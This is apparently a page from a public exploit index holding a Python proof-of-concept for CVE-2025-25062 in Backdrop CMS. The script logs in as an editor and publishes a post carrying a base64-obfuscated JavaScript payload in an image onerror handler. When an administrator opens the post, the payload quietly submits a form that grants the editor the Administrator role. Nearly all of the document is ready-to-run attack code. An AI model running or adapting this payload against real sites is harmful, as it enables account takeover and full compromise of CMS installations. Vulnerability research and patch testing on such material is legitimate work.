4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-25062.py PY
"""
Exploit Title: Privilege Escalation via Stored XSS + CSRF in Backdrop CMS
Date: 2024-12-14
Author: Reid Hurlburt (rhburt)
Software Link: https://github.com/backdrop/backdrop/releases/tag/1.29.2
Tested on: Python 3.11.9
CVE: CVE-2025-25062
"""
import argparse
import requests
import re
import uuid
import base64
from datetime import datetime

import urllib.parse

SESSION = requests.session()

def construct_payload(post_html_body, editor_user_id, editor_username, editor_email):
    url_encoded_editor_email = urllib.parse.quote_plus(editor_email)

    malicious_js = f"""
        var req = new XMLHttpRequest();
        req.onload = handleResponse;
        req.open('get', '/?q=user/{editor_user_id}/edit&destination=admin/people/list', true);
        req.withCredentials = true;
        req.send();
        
        function handleResponse() {{
            var build_id = this.responseText.match(/name="form_build_id" value="(form-[^"]*)"/)[1];
            var token = this.responseText.match(/name="form_token" value="([^"]*)"/)[1];
            var changeReq = new XMLHttpRequest();
            changeReq.open('post', '/?q=user/{editor_user_id}/edit', true);
            changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
            changeReq.withCredentials = true;
            changeReq.send('name={editor_username}&mail={url_encoded_editor_email}&pass=&form_build_id=' + build_id + '&form_token=' + token + '&form_id=user_profile_form&status=1&roles%5Beditor%5D=editor&roles%5Badministrator%5D=administrator&timezone=America%2FNew_York&additional_settings__active_tab=&op=Save');
        }};
    """

    b64_encoded = base64.b64encode(malicious_js.encode('ascii')).decode('ascii')

    injection = f"<img src=x onerror='eval(atob(\"{b64_encoded}\"))'>"

    return post_html_body + injection


def create_post(backdrop_url, editor_username, title, html_body, proxies):
    response = SESSION.get(
        f"{backdrop_url}/?q=node/add/post",
        proxies=proxies,
    )

    form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0]
    form_token = re.search(r'name="form_token" value="([^"]*)"', response.text).groups()[0]

    now = datetime.now()

    response = SESSION.post(
        f"{backdrop_url}/?q=node/add/post",
        files={
            "title": (None, post_title),
            "field_tags[und]": (None, ""),
            "body[und][0][summary]": (None, ""),
            "body[und][0][value]": (None, html_body),
            "body[und][0][format]": (None, "filtered_html"),
            "files[field_image_und_0]": ("", "", "application/octet-stream"),
            "field_image[und][0][fid]": (None, "0"),
            "field_image[und][0][display]": (None, "1"),
            "changed": (None, ""),
            "form_build_id": (None, form_build_id),
            "form_token": (None, form_token),
            "form_id": (None, "post_node_form"),
            "status": (None, "1"),
            "scheduled[date]": (None, now.strftime("%Y-%m-%d")),
            "scheduled[time]": (None, now.strftime("%H:%M:%S")),
            "promote": (None, "1"),
            "name": (None, editor_username),
            "date[date]": (None, now.strftime("%Y-%m-%d")),
            "date[time]": (None, now.strftime("%H:%M:%S")),
            "additional_settings__active_tab": (None, ""),
            "op": (None, "Save"),
        },
        allow_redirects=True,
        proxies=proxies,
    )

    edit_url = backdrop_url + re.search(r'<a href="(/\?q=node/\d+/edit)">Edit</a>', response.text).groups()[0]

    return edit_url


def get_account_details(backdrop_url, proxies):
    response = SESSION.get(
        f"{backdrop_url}/?q=accounts/editor",
        proxies=proxies,
    )
    editor_user_id = int(re.search(r'<a href="/\?q=user/(\d+)/edit">Edit</a>', response.text).groups()[0])

    response = SESSION.get(
        f"{backdrop_url}/?q=/user/{editor_user_id}/edit",
        proxies=proxies,
    )
    editor_email = re.search(r'name="mail" value="([^"]*)"', response.text).groups()[0]

    return editor_user_id, editor_email
    

def login(backdrop_url, editor_username, editor_password, proxies):
    response = SESSION.get(
        f"{backdrop_url}/?q=user/login",
        proxies=proxies,
    )

    form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0]

    response = SESSION.post(
        f"{backdrop_url}/?q=user/login",
        data={
            "name": editor_username,
            "pass": editor_password,
            "form_build_id": form_build_id,
            "form_id": "user_login",
            "op": "Log in"
        },
        proxies=proxies,
    )

    assert response.status_code == 200


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--backdrop-url", required=False, default="http://localhost")
    parser.add_argument("--editor-username", required=True)
    parser.add_argument("--editor-password", required=True)
    parser.add_argument("--post-title", required=False)
    parser.add_argument("--post-html-body", required=False)
    parser.add_argument("--proxy-host", required=False)
    parser.add_argument("--proxy-port", required=False)
    args = parser.parse_args()

    if args.backdrop_url.endswith('/'):
        backdrop_url = args.backdrop_url[:-1]
    else:
        backdrop_url = args.backdrop_url

    if args.post_title is None:
        post_title = str(uuid.uuid4())
    else:
        post_title = args.post_title

    if args.post_html_body is None:
        post_html_body = ""
    else:
        post_html_body = args.post_html_body

    if args.proxy_host is None or args.proxy_port is None:
        proxies = {}
    else:
        proxies = {
            "http": f"http://{args.proxy_host}:{args.proxy_port}",
            "https": f"https://{args.proxy_host}:{args.proxy_port}",
        }


    print(f"[*] Logging in...")
    login(backdrop_url, args.editor_username, args.editor_password, proxies)

    print(f"[*] Getting account details...")
    editor_user_id, editor_email = get_account_details(backdrop_url, proxies)

    print(f"[*] Creating post with title {post_title}...")
    edit_url = create_post(
        backdrop_url,
        args.editor_username,
        post_title,
        construct_payload(post_html_body, editor_user_id, args.editor_username, editor_email),
        proxies
    )
    print(f"[*] Done!")
    print()
    print(f"[*] Once an Admin visits the following URL, you'll be granted the 'Administrator' role: {edit_url}")